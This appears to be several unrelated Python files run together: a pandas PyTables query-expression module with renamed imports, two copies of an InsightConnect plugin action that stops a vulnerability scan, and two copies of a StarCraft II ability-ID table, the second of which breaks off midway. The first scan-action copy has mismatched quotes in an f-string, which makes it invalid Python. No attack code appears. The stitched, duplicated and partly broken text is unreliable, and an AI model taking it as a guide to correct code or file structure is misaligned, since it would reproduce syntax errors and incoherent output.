""" manage PyTables query interface via Expressions """ import ast from functools import partial from typing import Any, Dict, Optional, Tuple import numpy as np from my_happy_pandas._libs.tslibs import Timedelta, Timestamp from my_happy_pandas.compat.chainmap import DeepChainMap from my_happy_pandas.core.dtypes.common import is_list_like import my_happy_pandas as pd import my_happy_pandas.core.common as com from my_happy_pandas.core.computation import expr, ops, scope as _scope from my_happy_pandas.core.computation.common import _ensure_decoded from my_happy_pandas.core.computation.expr import BaseExprVisitor from my_happy_pandas.core.computation.ops import UndefinedVariableError, is_term from my_happy_pandas.core.construction import extract_array from my_happy_pandas.io.formats.printing import pprint_thing, pprint_thing_encoded class PyTablesScope(_scope.Scope): __slots__ = ("queryables",) queryables: Dict[str, Any] def __init__( self, level: int, global_dict=None, local_dict=None, queryables: Optional[Dict[str, Any]] = None, ): super().__init__(level + 1, global_dict=global_dict, local_dict=local_dict) self.queryables = queryables or dict() class Term(ops.Term): env: PyTablesScope def __new__(cls, name, env, side=None, encoding=None): klass = Constant if not isinstance(name, str) else cls return object.__new__(klass) def __init__(self, name, env: PyTablesScope, side=None, encoding=None): super().__init__(name, env, side=side, encoding=encoding) def _resolve_name(self): # must be a queryables if self.side == "left": # Note: The behavior of __new__ ensures that self.name is a str here if self.name not in self.env.queryables: raise NameError(f"name {repr(self.name)} is not defined") return self.name # resolve the rhs (and allow it to be None) try: return self.env.resolve(self.name, is_local=False) except UndefinedVariableError: return self.name # read-only property overwriting read/write property @property # type: ignore def value(self): return self._value class Constant(Term): def __init__(self, value, env: PyTablesScope, side=None, encoding=None): assert isinstance(env, PyTablesScope), type(env) super().__init__(value, env, side=side, encoding=encoding) def _resolve_name(self): return self._name class BinOp(ops.BinOp): _max_selectors = 31 op: str queryables: Dict[str, Any] def __init__(self, op: str, lhs, rhs, queryables: Dict[str, Any], encoding): super().__init__(op, lhs, rhs) self.queryables = queryables self.encoding = encoding self.condition = None def _disallow_scalar_only_bool_ops(self): pass def prune(self, klass): def pr(left, right): """ create and return a new specialized BinOp from myself """ if left is None: return right elif right is None: return left k = klass if isinstance(left, ConditionBinOp): if isinstance(right, ConditionBinOp): k = JointConditionBinOp elif isinstance(left, k): return left elif isinstance(right, k): return right elif isinstance(left, FilterBinOp): if isinstance(right, FilterBinOp): k = JointFilterBinOp elif isinstance(left, k): return left elif isinstance(right, k): return right return k( self.op, left, right, queryables=self.queryables, encoding=self.encoding ).evaluate() left, right = self.lhs, self.rhs if is_term(left) and is_term(right): res = pr(left.value, right.value) elif not is_term(left) and is_term(right): res = pr(left.prune(klass), right.value) elif is_term(left) and not is_term(right): res = pr(left.value, right.prune(klass)) elif not (is_term(left) or is_term(right)): res = pr(left.prune(klass), right.prune(klass)) return res def conform(self, rhs): """ inplace conform rhs """ if not is_list_like(rhs): rhs = [rhs] if isinstance(rhs, np.ndarray): rhs = rhs.ravel() return rhs @property def is_valid(self) -> bool: """ return True if this is a valid field """ return self.lhs in self.queryables @property def is_in_table(self) -> bool: """ return True if this is a valid column name for generation (e.g. an actual column in the table) """ return self.queryables.get(self.lhs) is not None @property def kind(self): """ the kind of my field """ return getattr(self.queryables.get(self.lhs), "kind", None) @property def meta(self): """ the meta of my field """ return getattr(self.queryables.get(self.lhs), "meta", None) @property def metadata(self): """ the metadata of my field """ return getattr(self.queryables.get(self.lhs), "metadata", None) def generate(self, v) -> str: """ create and return the op string for this TermValue """ val = v.tostring(self.encoding) return f"({self.lhs} {self.op} {val})" def convert_value(self, v) -> "TermValue": """ convert the expression that is in the term to something that is accepted by pytables """ def stringify(value): if self.encoding is not None: encoder = partial(pprint_thing_encoded, encoding=self.encoding) else: encoder = pprint_thing return encoder(value) kind = _ensure_decoded(self.kind) meta = _ensure_decoded(self.meta) if kind == "datetime64" or kind == "datetime": if isinstance(v, (int, float)): v = stringify(v) v = _ensure_decoded(v) v = Timestamp(v) if v.tz is not None: v = v.tz_convert("UTC") return TermValue(v, v.value, kind) elif kind == "timedelta64" or kind == "timedelta": if isinstance(v, str): v = Timedelta(v).value else: v = Timedelta(v, unit="s").value return TermValue(int(v), v, kind) elif meta == "category": metadata = extract_array(self.metadata, extract_numpy=True) result = metadata.searchsorted(v, side="left") # result returns 0 if v is first element or if v is not in metadata # check that metadata contains v if not result and v not in metadata: result = -1 return TermValue(result, result, "integer") elif kind == "integer": v = int(float(v)) return TermValue(v, v, kind) elif kind == "float": v = float(v) return TermValue(v, v, kind) elif kind == "bool": if isinstance(v, str): v = not v.strip().lower() in [ "false", "f", "no", "n", "none", "0", "[]", "{}", "", ] else: v = bool(v) return TermValue(v, v, kind) elif isinstance(v, str): # string quoting return TermValue(v, stringify(v), "string") else: raise TypeError(f"Cannot compare {v} of type {type(v)} to {kind} column") def convert_values(self): pass class FilterBinOp(BinOp): filter: Optional[Tuple[Any, Any, pd.Index]] = None def __repr__(self) -> str: if self.filter is None: return "Filter: Not Initialized" return pprint_thing(f"[Filter : [{self.filter[0]}] -> [{self.filter[1]}]") def invert(self): """ invert the filter """ if self.filter is not None: f = list(self.filter) f[1] = self.generate_filter_op(invert=True) self.filter = tuple(f) return self def format(self): """ return the actual filter format """ return [self.filter] def evaluate(self): if not self.is_valid: raise ValueError(f"query term is not valid [{self}]") rhs = self.conform(self.rhs) values = list(rhs) if self.is_in_table: # if too many values to create the expression, use a filter instead if self.op in ["==", "!="] and len(values) > self._max_selectors: filter_op = self.generate_filter_op() self.filter = (self.lhs, filter_op, pd.Index(values)) return self return None # equality conditions if self.op in ["==", "!="]: filter_op = self.generate_filter_op() self.filter = (self.lhs, filter_op, pd.Index(values)) else: raise TypeError( f"passing a filterable condition to a non-table indexer [{self}]" ) return self def generate_filter_op(self, invert: bool = False): if (self.op == "!=" and not invert) or (self.op == "==" and invert): return lambda axis, vals: ~axis.isin(vals) else: return lambda axis, vals: axis.isin(vals) class JointFilterBinOp(FilterBinOp): def format(self): raise NotImplementedError("unable to collapse Joint Filters") def evaluate(self): return self class ConditionBinOp(BinOp): def __repr__(self) -> str: return pprint_thing(f"[Condition : [{self.condition}]]") def invert(self): """ invert the condition """ # if self.condition is not None: # self.condition = "~(%s)" % self.condition # return self raise NotImplementedError( "cannot use an invert condition when passing to numexpr" ) def format(self): """ return the actual ne format """ return self.condition def evaluate(self): if not self.is_valid: raise ValueError(f"query term is not valid [{self}]") # convert values if we are in the table if not self.is_in_table: return None rhs = self.conform(self.rhs) values = [self.convert_value(v) for v in rhs] # equality conditions if self.op in ["==", "!="]: # too many values to create the expression? if len(values) <= self._max_selectors: vs = [self.generate(v) for v in values] self.condition = f"({' | '.join(vs)})" # use a filter after reading else: return None else: self.condition = self.generate(values[0]) return self class JointConditionBinOp(ConditionBinOp): def evaluate(self): self.condition = f"({self.lhs.condition} {self.op} {self.rhs.condition})" return self class UnaryOp(ops.UnaryOp): def prune(self, klass): if self.op != "~": raise NotImplementedError("UnaryOp only support invert type ops") operand = self.operand operand = operand.prune(klass) if operand is not None: if issubclass(klass, ConditionBinOp): if operand.condition is not None: return operand.invert() elif issubclass(klass, FilterBinOp): if operand.filter is not None: return operand.invert() return None class PyTablesExprVisitor(BaseExprVisitor): const_type = Constant term_type = Term def __init__(self, env, engine, parser, **kwargs): super().__init__(env, engine, parser) for bin_op in self.binary_ops: bin_node = self.binary_op_nodes_map[bin_op] setattr( self, f"visit_{bin_node}", lambda node, bin_op=bin_op: partial(BinOp, bin_op, **kwargs), ) def visit_UnaryOp(self, node, **kwargs): if isinstance(node.op, (ast.Not, ast.Invert)): return UnaryOp("~", self.visit(node.operand)) elif isinstance(node.op, ast.USub): return self.const_type(-self.visit(node.operand).value, self.env) elif isinstance(node.op, ast.UAdd): raise NotImplementedError("Unary addition not supported") def visit_Index(self, node, **kwargs): return self.visit(node.value).value def visit_Assign(self, node, **kwargs): cmpr = ast.Compare( ops=[ast.Eq()], left=node.targets[0], comparators=[node.value] ) return self.visit(cmpr) def visit_Subscript(self, node, **kwargs): # only allow simple subscripts value = self.visit(node.value) slobj = self.visit(node.slice) try: value = value.value except AttributeError: pass if isinstance(slobj, Term): # In py39 np.ndarray lookups with Term containing int raise slobj = slobj.value try: return self.const_type(value[slobj], self.env) except TypeError as err: raise ValueError( f"cannot subscript {repr(value)} with {repr(slobj)}" ) from err def visit_Attribute(self, node, **kwargs): attr = node.attr value = node.value ctx = type(node.ctx) if ctx == ast.Load: # resolve the value resolved = self.visit(value) # try to get the value to see if we are another expression try: resolved = resolved.value except (AttributeError): pass try: return self.term_type(getattr(resolved, attr), self.env) except AttributeError: # something like datetime.datetime where scope is overridden if isinstance(value, ast.Name) and value.id == attr: return resolved raise ValueError(f"Invalid Attribute context {ctx.__name__}") def translate_In(self, op): return ast.Eq() if isinstance(op, ast.In) else op def _rewrite_membership_op(self, node, left, right): return self.visit(node.op), node.op, left, right def _validate_where(w): """ Validate that the where statement is of the right type. The type may either be String, Expr, or list-like of Exprs. Parameters ---------- w : String term expression, Expr, or list-like of Exprs. Returns ------- where : The original where clause if the check was successful. Raises ------ TypeError : An invalid data type was passed in for w (e.g. dict). """ if not (isinstance(w, (PyTablesExpr, str)) or is_list_like(w)): raise TypeError( "where must be passed as a string, PyTablesExpr, " "or list-like of PyTablesExpr" ) return w class PyTablesExpr(expr.Expr): """ Hold a pytables-like expression, comprised of possibly multiple 'terms'. Parameters ---------- where : string term expression, PyTablesExpr, or list-like of PyTablesExprs queryables : a "kinds" map (dict of column name -> kind), or None if column is non-indexable encoding : an encoding that will encode the query terms Returns ------- a PyTablesExpr object Examples -------- 'index>=date' "columns=['A', 'D']" 'columns=A' 'columns==A' "~(columns=['A','B'])" 'index>df.index[3] & string="bar"' '(index>df.index[3] & index<=df.index[6]) | string="bar"' "ts>=Timestamp('2012-02-01')" "major_axis>=20130101" """ _visitor: Optional[PyTablesExprVisitor] env: PyTablesScope def __init__( self, where, queryables: Optional[Dict[str, Any]] = None, encoding=None, scope_level: int = 0, ): where = _validate_where(where) self.encoding = encoding self.condition = None self.filter = None self.terms = None self._visitor = None # capture the environment if needed local_dict: DeepChainMap[Any, Any] = DeepChainMap() if isinstance(where, PyTablesExpr): local_dict = where.env.scope _where = where.expr elif isinstance(where, (list, tuple)): where = list(where) for idx, w in enumerate(where): if isinstance(w, PyTablesExpr): local_dict = w.env.scope else: w = _validate_where(w) where[idx] = w _where = " & ".join((f"({w})" for w in com.flatten(where))) else: _where = where self.expr = _where self.env = PyTablesScope(scope_level + 1, local_dict=local_dict) if queryables is not None and isinstance(self.expr, str): self.env.queryables.update(queryables) self._visitor = PyTablesExprVisitor( self.env, queryables=queryables, parser="pytables", engine="pytables", encoding=encoding, ) self.terms = self.parse() def __repr__(self) -> str: if self.terms is not None: return pprint_thing(self.terms) return pprint_thing(self.expr) def evaluate(self): """ create and return the numexpr condition and filter """ try: self.condition = self.terms.prune(ConditionBinOp) except AttributeError as err: raise ValueError( f"cannot process expression [{self.expr}], [{self}] " "is not a valid condition" ) from err try: self.filter = self.terms.prune(FilterBinOp) except AttributeError as err: raise ValueError( f"cannot process expression [{self.expr}], [{self}] " "is not a valid filter" ) from err return self.condition, self.filter class TermValue: """ hold a term value the we use to construct a condition/filter """ def __init__(self, value, converted, kind: str): assert isinstance(kind, str), kind self.value = value self.converted = converted self.kind = kind def tostring(self, encoding) -> str: """ quote the string if not encoded else encode and return """ if self.kind == "string": if encoding is not None: return str(self.converted) return f'"{self.converted}"' elif self.kind == "float": # python 2 str(float) is not always # round-trippable so use repr() return repr(self.converted) return str(self.converted) def maybe_expression(s) -> bool: """ loose checking if s is a pytables-acceptable expression """ if not isinstance(s, str): return False ops = PyTablesExprVisitor.binary_ops + PyTablesExprVisitor.unary_ops + ("=",) # make sure we have an op at least return any(op in s for op in ops)
import insightconnect_plugin_runtime from .schema import StopScanInput, StopScanOutput, Input, Output # Custom imports below class StopScan(insightconnect_plugin_runtime.Action): def __init__(self): super(self.__class__, self).__init__( name="stop_scan", description="Stop a currently running scan", input=StopScanInput(), output=StopScanOutput(), ) def run(self, params={}): scan_id = params.get(Input.ID) url = f"scan/{scan_id}/stop" response = self.connection.ivm_cloud_api.call_api(url, "POST") if response[0] == 202 and response[1] is None: response = self.connection.ivm_cloud_api.call_api("scan/" + scan_id, "GET") if response[1].get("status") == "Stopped": return {Output.SUCCESS: True} else: return { Output.SUCCESS: False, Output.STATUS_CODE: 400, Output.MESSAGE: f"Failed to stop scan with ID '{scan_id}". Status of scan is {response[1].get("status")}", } else: return { Output.SUCCESS: False, Output.STATUS_CODE: response[0], Output.MESSAGE: f"Failed to stop scan with ID '{scan_id}'", }
import insightconnect_plugin_runtime from .schema import StopScanInput, StopScanOutput, Input, Output # Custom imports below class StopScan(insightconnect_plugin_runtime.Action): def __init__(self): super(self.__class__, self).__init__( name="stop_scan", description="Stop a currently running scan", input=StopScanInput(), output=StopScanOutput(), ) def run(self, params={}): scan_id = params.get(Input.ID) url = f"scan/{scan_id}/stop" response = self.connection.ivm_cloud_api.call_api(url, "POST") if response[0] == 202 and response[1] is None: response = self.connection.ivm_cloud_api.call_api("scan/" + scan_id, "GET") if response[1].get("status") == "Stopped": return {Output.SUCCESS: True} else: return { Output.SUCCESS: False, Output.STATUS_CODE: 400, Output.MESSAGE: f"Failed to stop scan with ID '{scan_id}'. Status of scan is {response[1].get('status')}", } else: return { Output.SUCCESS: False, Output.STATUS_CODE: response[0], Output.MESSAGE: f"Failed to stop scan with ID '{scan_id}'", }
# Version 82457 abilities = {41: {'ability_name': 'stop'}, 43: {'ability_name': 'move'}, 46: {'ability_name': 'attack'}, 67: {'ability_name': 'GhostHoldFire'}, 68: {'ability_name': 'GhostWeaponsFree'}, 70: {'ability_name': 'Explode'}, 72: {'ability_name': 'FungalGrowth', 'energy_cost': 75}, 73: {'ability_name': 'GuardianShield', 'energy_cost': 75}, 75: {'ability_name': 'ZerglingTrain'}, 77: {'ability_name': 'Feedback', 'energy_cost': 50}, 80: {'ability_name': 'HallucinationArchon', 'energy_cost': 75}, 81: {'ability_name': 'HallucinationColossus', 'energy_cost': 75}, 82: {'ability_name': 'HallucinationHighTemplar', 'energy_cost': 75}, 83: {'ability_name': 'HallucinationImmortal', 'energy_cost': 75}, 84: {'ability_name': 'HallucinationPhoenix', 'energy_cost': 75}, 85: {'ability_name': 'HallucinationProbe', 'energy_cost': 75}, 86: {'ability_name': 'HallucinationStalker', 'energy_cost': 75}, 87: {'ability_name': 'HallucinationVoidRay', 'energy_cost': 75}, 88: {'ability_name': 'HallucinationWarpPrism', 'energy_cost': 75}, 89: {'ability_name': 'HallucinationZealot', 'energy_cost': 75}, 92: {'ability_name': 'CalldownMULE', 'energy_cost': 50}, 93: {'ability_name': 'GravitonBeam', 'energy_cost': 50}, 97: {'ability_name': 'SpawnChangeling', 'energy_cost': 50}, 104: {'ability_name': 'Rally'}, 106: {'ability_name': 'RallyCommand'}, 108: {'ability_name': 'RallyHatchery'}, 109: {'ability_name': 'RoachWarrenResearch'}, 112: {'ability_name': 'NeuralParasite', 'energy_cost': 100}, 113: {'ability_name': 'SpawnLarva', 'energy_cost': 25}, 114: {'ability_name': 'StimpackMarauder'}, 115: {'ability_name': 'SupplyDrop', 'energy_cost': 50}, 119: {'ability_name': 'UltraliskCavernResearch'}, 133: {'ability_name': 'Stimpack'}, 134: {'ability_name': 'GhostCloak', 'energy_cost': 25}, 137: {'ability_name': 'SiegeMode'}, 138: {'ability_name': 'Unsiege'}, 139: {'ability_name': 'BansheeCloak', 'energy_cost': 25}, 140: {'ability_name': 'MedivacTransport'}, 141: {'ability_name': 'ScannerSweep', 'energy_cost': 50}, 142: {'ability_name': 'Yamato'}, 143: {'ability_name': 'AssaultMode'}, 144: {'ability_name': 'FighterMode'}, 146: {'ability_name': 'CommandCenterTransport'}, 147: {'ability_name': 'CommandCenterLiftOff'}, 148: {'ability_name': 'CommandCenterLand'}, 149: {'ability_name': 'BarracksFlyingBuild'}, 150: {'ability_name': 'BarracksLiftOff'}, 151: {'ability_name': 'FactoryFlyingBuild'}, 152: {'ability_name': 'FactoryLiftOff'}, 153: {'ability_name': 'StarportFlyingBuild'}, 154: {'ability_name': 'StarportLiftOff'}, 155: {'ability_name': 'FactoryLand'}, 156: {'ability_name': 'StarportLand'}, 158: {'ability_name': 'BarracksLand'}, 159: {'ability_name': 'SupplyDepotLower'}, 160: {'ability_name': 'SupplyDepotRaise'}, 161: {'ability_name': 'BarracksTrain'}, 162: {'ability_name': 'FactoryTrain'}, 163: {'ability_name': 'StarportTrain'}, 164: {'ability_name': 'EngineeringBayResearch'}, 166: {'ability_name': 'GhostAcademyTrain'}, 167: {'ability_name': 'BarracksTechLabResearch'}, 168: {'ability_name': 'FactoryTechLabResearch'}, 169: {'ability_name': 'StarportTechLabResearch'}, 170: {'ability_name': 'GhostAcademyResearch'}, 171: {'ability_name': 'ArmoryResearch'}, 173: {'ability_name': 'WarpPrismTransport'}, 174: {'ability_name': 'GatewayTrain'}, 175: {'ability_name': 'StargateTrain'}, 176: {'ability_name': 'RoboticsFacilityTrain'}, 177: {'ability_name': 'NexusTrain'}, 178: {'ability_name': 'PsiStorm', 'energy_cost': 75}, 182: {'ability_name': 'ForgeResearch'}, 183: {'ability_name': 'RoboticsBayResearch'}, 184: {'ability_name': 'TemplarArchiveResearch'}, 185: {'ability_name': 'ZergBuild'}, 187: {'ability_name': 'EvolutionChamberResearch'}, 188: {'ability_name': 'UpgradeToLair'}, 189: {'ability_name': 'UpgradeToHive'}, 190: {'ability_name': 'UpgradeToGreaterSpire'}, 192: {'ability_name': 'SpawningPoolResearch'}, 193: {'ability_name': 'HydraliskDenResearch'}, 195: {'ability_name': 'LarvaTrain'}, 196: {'ability_name': 'MorphToBroodLord'}, 197: {'ability_name': 'BurrowBanelingDown'}, 198: {'ability_name': 'BurrowBanelingUp'}, 199: {'ability_name': 'BurrowDroneDown'}, 200: {'ability_name': 'BurrowDroneUp'}, 201: {'ability_name': 'BurrowHydraliskDown'}, 202: {'ability_name': 'BurrowHydraliskUp'}, 203: {'ability_name': 'BurrowRoachDown'}, 204: {'ability_name': 'BurrowRoachUp'}, 205: {'ability_name': 'BurrowZerglingDown'}, 206: {'ability_name': 'BurrowZerglingUp'}, 213: {'ability_name': 'OverlordTransport'}, 216: {'ability_name': 'WarpGateTrain'}, 217: {'ability_name': 'BurrowQueenDown'}, 218: {'ability_name': 'BurrowQueenUp'}, 219: {'ability_name': 'NydusCanalTransport'}, 220: {'ability_name': 'Blink'}, 221: {'ability_name': 'BurrowInfestorDown'}, 222: {'ability_name': 'BurrowInfestorUp'}, 224: {'ability_name': 'UpgradeToPlanetaryFortress'}, 225: {'ability_name': 'InfestationPitResearch'}, 227: {'ability_name': 'BurrowUltraliskDown'}, 228: {'ability_name': 'BurrowUltraliskUp'}, 229: {'ability_name': 'UpgradeToOrbital'}, 232: {'ability_name': 'OrbitalLiftOff'}, 233: {'ability_name': 'OrbitalCommandLand'}, 234: {'ability_name': 'ForceField', 'energy_cost': 50}, 235: {'ability_name': 'PhasingMode'}, 236: {'ability_name': 'TransportMode'}, 237: {'ability_name': 'FusionCoreResearch'}, 238: {'ability_name': 'CyberneticsCoreResearch'}, 239: {'ability_name': 'TwilightCouncilResearch'}, 240: {'ability_name': 'TacNukeStrike'}, 243: {'ability_name': 'EMP', 'energy_cost': 75}, 247: {'ability_name': 'Transfusion', 'energy_cost': 50}, 256: {'ability_name': 'AttackRedirect'}, 257: {'ability_name': 'StimpackRedirect'}, 258: {'ability_name': 'StimpackMarauderRedirect'}, 260: {'ability_name': 'StopRedirect'}, 261: {'ability_name': 'GenerateCreep', 'energy_cost': 25}, 262: {'ability_name': 'QueenBuild'}, 263: {'ability_name': 'SpineCrawlerUproot'}, 264: {'ability_name': 'SporeCrawlerUproot'}, 265: {'ability_name': 'SpineCrawlerRoot'}, 266: {'ability_name': 'SporeCrawlerRoot'}, 267: {'ability_name': 'CreepTumorBurrowedBuild'}, 268: {'ability_name': 'BuildAutoTurret'}, 270: {'ability_name': 'NydusNetworkBuild'}, 272: {'ability_name': 'Charge'}, 276: {'ability_name': 'Contaminate', 'energy_cost': 125}, 283: {'ability_name': 'RavagerCorrosiveBile'}, 305: {'ability_name': 'BurrowLurkerMPDown'}, 306: {'ability_name': 'BurrowLurkerMPUp'}, 309: {'ability_name': 'BurrowRavagerDown'}, 310: {'ability_name': 'BurrowRavagerUp'}, 311: {'ability_name': 'MorphToRavager'}, 312: {'ability_name': 'MorphToTransportOverlord'}, 314: {'ability_name': 'ThorNormalMode'}, 359: {'ability_name': 'MorphToHellion'}, 369: {'ability_name': 'MorphToHellionTank'}, 383: {'ability_name': 'BlindingCloud', 'energy_cost': 100}, 385: {'ability_name': 'Yoink', 'energy_cost': 75}, 388: {'ability_name': 'ViperConsumeStructure'}, 392: {'ability_name': 'VolatileBurstBuilding'}, 399: {'ability_name': 'WidowMineBurrow'}, 400: {'ability_name': 'WidowMineUnburrow'}, 401: {'ability_name': 'WidowMineAttack'}, 402: {'ability_name': 'TornadoMissile'}, 405: {'ability_name': 'HallucinationOracle', 'energy_cost': 75}, 406: {'ability_name': 'MedivacSpeedBoost'}, 421: {'ability_name': 'OracleRevelation', 'energy_cost': 50}, 470: {'ability_name': 'TemporalField', 'energy_cost': 100}, 524: {'ability_name': 'MorphToLurker'}, 528: {'ability_name': 'PurificationNovaTargeted'}, 530: {'ability_name': 'LockOn'}, 534: {'ability_name': 'Hyperjump'}, 536: {'ability_name': 'ThorAPMode'}, 539: {'ability_name': 'NydusWormTransport'}, 540: {'ability_name': 'OracleWeapon', 'energy_cost': 25}, 547: {'ability_name': 'HallucinationDisruptor', 'energy_cost': 75}, 548: {'ability_name': 'HallucinationAdept', 'energy_cost': 75}, 549: {'ability_name': 'VoidRaySwarmDamageBoost'}, 609: {'ability_name': 'ParasiticBomb', 'energy_cost': 125}, 610: {'ability_name': 'AdeptPhaseShift'}, 613: {'ability_name': 'LurkerHoldFire'}, 614: {'ability_name': 'LurkerRemoveHoldFire'}, 617: {'ability_name': 'LiberatorAGTarget'}, 618: {'ability_name': 'LiberatorAATarget'}, 632: {'ability_name': 'KD8Charge'}, 635: {'ability_name': 'AdeptPhaseShiftCancel'}, 636: {'ability_name': 'AdeptShadePhaseShiftCancel'}, 689: {'ability_name': 'DarkTemplarBlink'}, 693: {'ability_name': 'BattlecruiserAttack'}, 695: {'ability_name': 'BattlecruiserMove'}, 697: {'ability_name': 'BattlecruiserStop'}, 705: {'ability_name': 'VoidRaySwarmDamageBoostCancel'}, 709: {'ability_name': 'ChannelSnipe', 'energy_cost': 50}, 712: {'ability_name': 'DarkShrineResearch'}, 713: {'ability_name': 'LurkerDenMPResearch'}, 714: {'ability_name': 'ObserverSiegeMorphtoObserver'}, 715: {'ability_name': 'ObserverMorphtoObserverSiege'}, 718: {'ability_name': 'RavenScramblerMissile', 'energy_cost': 75}, 721: {'ability_name': 'RavenShredderMissile', 'energy_cost': 75}, 722: {'ability_name': 'ChronoBoostEnergyCost', 'energy_cost': 50}, 723: {'ability_name': 'NexusMassRecall', 'energy_cost': 50}}
# Version 82457 abilities = {41: {'ability_name': 'stop'}, 43: {'ability_name': 'move'}, 46: {'ability_name': 'attack'}, 67: {'ability_name': 'GhostHoldFire'}, 68: {'ability_name': 'GhostWeaponsFree'}, 70: {'ability_name': 'Explode'}, 72: {'ability_name': 'FungalGrowth', 'energy_cost': 75}, 73: {'ability_name': 'GuardianShield', 'energy_cost': 75}, 75: {'ability_name': 'ZerglingTrain'}, 77: {'ability_name': 'Feedback', 'energy_cost': 50}, 80: {'ability_name': 'HallucinationArchon', 'energy_cost': 75}, 81: {'ability_name': 'HallucinationColossus', 'energy_cost': 75}, 82: {'ability_name': 'HallucinationHighTemplar', 'energy_cost': 75}, 83: {'ability_name': 'HallucinationImmortal', 'energy_cost': 75}, 84: {'ability_name': 'HallucinationPhoenix', 'energy_cost': 75}, 85: {'ability_name': 'HallucinationProbe', 'energy_cost': 75}, 86: {'ability_name': 'HallucinationStalker', 'energy_cost': 75}, 87: {'ability_name': 'HallucinationVoidRay', 'energy_cost': 75}, 88: {'ability_name': 'HallucinationWarpPrism', 'energy_cost': 75}, 89: {'ability_name': 'HallucinationZealot', 'energy_cost': 75}, 92: {'ability_name': 'CalldownMULE', 'energy_cost': 50}, 93: {'ability_name': 'GravitonBeam', 'energy_cost': 50}, 97: {'ability_name': 'SpawnChangeling', 'energy_cost': 50}, 104: {'ability_name': 'Rally'}, 106: {'ability_name': 'RallyCommand'}, 108: {'ability_name': 'RallyHatchery'}, 109: {'ability_name': 'RoachWarrenResearch'}, 112: {'ability_name': 'NeuralParasite', 'energy_cost': 100}, 113: {'ability_name': 'SpawnLarva', 'energy_cost': 25}, 114: {'ability_name': 'StimpackMarauder'}, 115: {'ability_name': 'SupplyDrop', 'energy_cost': 50}, 119: {'ability_name': 'UltraliskCavernResearch'}, 133: {'ability_name': 'Stimpack'}, 134: {'ability_name': 'GhostCloak', 'energy_cost': 25}, 137: {'ability_name': 'SiegeMode'}, 138: {'ability_name': 'Unsiege'}, 139: {'ability_name': 'BansheeCloak', 'energy_cost': 25}, 140: {'ability_name': 'MedivacTransport'}, 141: {'ability_name': 'ScannerSweep', 'energy_cost': 50}, 142: {'ability_name': 'Yamato'}, 143: {'ability_name': 'AssaultMode'}, 144: {'ability_name': 'FighterMode'}, 146: {'ability_name': 'CommandCenterTransport'}, 147: {'ability_name': 'CommandCenterLiftOff'}, 148: {'ability_name': 'CommandCenterLand'}, 149: {'ability_name': 'BarracksFlyingBuild'}, 150: {'ability_name': 'BarracksLiftOff'}, 151: {'ability_name': 'FactoryFlyingBuild'}, 152: {'ability_name': 'FactoryLiftOff'}, 153: {'ability_name': 'StarportFlyingBuild'}, 154: {'ability_name': 'StarportLiftOff'}, 155: {'ability_name': 'FactoryLand'}, 156: {'ability_name': 'StarportLand'}, 158: {'ability_name': 'BarracksLand'}, 159: {'ability_name': 'SupplyDepotLower'}, 160: {'ability_name': 'SupplyDepotRaise'}, 161: {'ability_name': 'BarracksTrain'}, 162: {'ability_name': 'FactoryTrain'}, 163: {'ability_name': 'StarportTrain'}, 164: {'ability_name': 'EngineeringBayResearch'}, 166: {'ability_name': 'GhostAcademyTrain'}, 167: {'ability_name': 'BarracksTechLabResearch'}, 168: {'ability_name': 'FactoryTechLabResearch'}, 169: {'ability_name': 'StarportTechLabResearch'}, 170: {'ability_name': 'GhostAcademyResearch'}, 171: {'ability_name': 'ArmoryResearch'}, 173: {'ability_name': 'WarpPrismTransport'}, 174: {'ability_name': 'GatewayTrain'}, 175: {'ability_name': 'StargateTrain'}, 176: {'ability_name': 'RoboticsFacilityTrain'}, 177: {'ability_name': 'NexusTrain'}, 178: {'ability_name': 'PsiStorm', 'energy_cost': 75}, 182: {'ability_name': 'ForgeResearch'}, 183: {'ability_name': 'RoboticsBayResearch'}, 184: {'ability_name': 'TemplarArchiveResearch'}, 185: {'ability_name': 'ZergBuild'}, 187: {'ability_name': 'EvolutionChamberResearch'}, 188: {'ability_name': 'UpgradeToLair'}, 189: {'ability_name': 'UpgradeToHive'}, 190: {'ability_name': 'UpgradeToGreaterSpire'}, 192: {'ability_name': 'SpawningPoolResearch'}, 193: {'ability_name': 'HydraliskDenResearch'}, 195: {'ability_name': 'LarvaTrain'}, 196: {'ability_name': 'MorphToBroodLord'}, 197: {'ability_name': 'BurrowBanelingDown'}, 198: {'ability_name': 'BurrowBanelingUp'}, 199: {'ability_name': 'BurrowDroneDown'}, 200: {'ability_name': 'BurrowDroneUp'}, 201: {'ability_name': 'BurrowHydraliskDown'}, 202: {'ability_name': 'BurrowHydraliskUp'}, 203: {'ability_name': 'BurrowRoachDown'}, 204: {'ability_name': 'BurrowRoachUp'}, 205: {'ability_name': 'BurrowZerglingDown'}, 206: {'ability_name': 'BurrowZerglingUp'}, 213: {'ability_name': 'OverlordTransport'}, 216: {'ability_name': 'WarpGateTrain'}, 217: {'ability_name': 'BurrowQueenDown'}, 218: {'ability_name': 'BurrowQueenUp'}, 219: {'ability_name': 'NydusCanalTransport'}, 220: {'ability_name': 'Blink'}, 221: {'ability_name': 'BurrowInfestorDown'}, 222: {'ability_name': 'BurrowInfestorUp'}, 224: {'ability_name': 'UpgradeToPlanetaryFortress'}, 225: {'ability_name': 'InfestationPitResearch'}, 227: {'ability_name': 'BurrowUltraliskDown'}, 228: {'ability_name': 'BurrowUltraliskUp'}, 229: {'ability_name': 'UpgradeToOrbital'}, 232: {'ability_name': 'OrbitalLiftOff'}, 233: {'ability_name': 'OrbitalCommandLand'}, 234: {'ability_name': 'ForceField', 'energy_cost': 50}, 235: {'ability_name': 'PhasingMode'}, 236: {'ability_name': 'TransportMode'}, 237: {'ability_name': 'FusionCoreResearch'}, 238: {'ability_name': 'CyberneticsCoreResearch'}, 239: {'ability_name': 'TwilightCouncilResearch'}, 240: {'ability_name': 'TacNukeStrike'}, 243: {'ability_name': 'EMP', 'energy_cost': 75}, 247: {'ability_name': 'Transfusion', 'energy_cost': 50}, 256: {'ability_name': 'AttackRedirect'}, 257: {'ability_name': 'StimpackRedirect'}, 258: {'ability_name': 'StimpackMarauderRedirect'}, 260: {'ability_name': 'StopRedirect'}, 261: {'ability_name': 'GenerateCreep', 'energy_cost': 25}, 262: {'ability_name': 'QueenBuild'}, 263: {'ability_name': 'SpineCrawlerUproot'}, 264: {'ability_name': 'SporeCrawlerUproot'}, 265: {'ability_name': 'SpineCrawlerRoot'}, 266: {'ability_name': 'SporeCrawlerRoot'}, 267: {'ability_name': 'CreepTumorBurrowedBuild'}, 268: {'ability_name': 'BuildAutoTurret'}, 270: {'ability_name': 'NydusNetworkBuild'}, 272: {'ability_name': 'Charge'}, 276: {'ability_name': 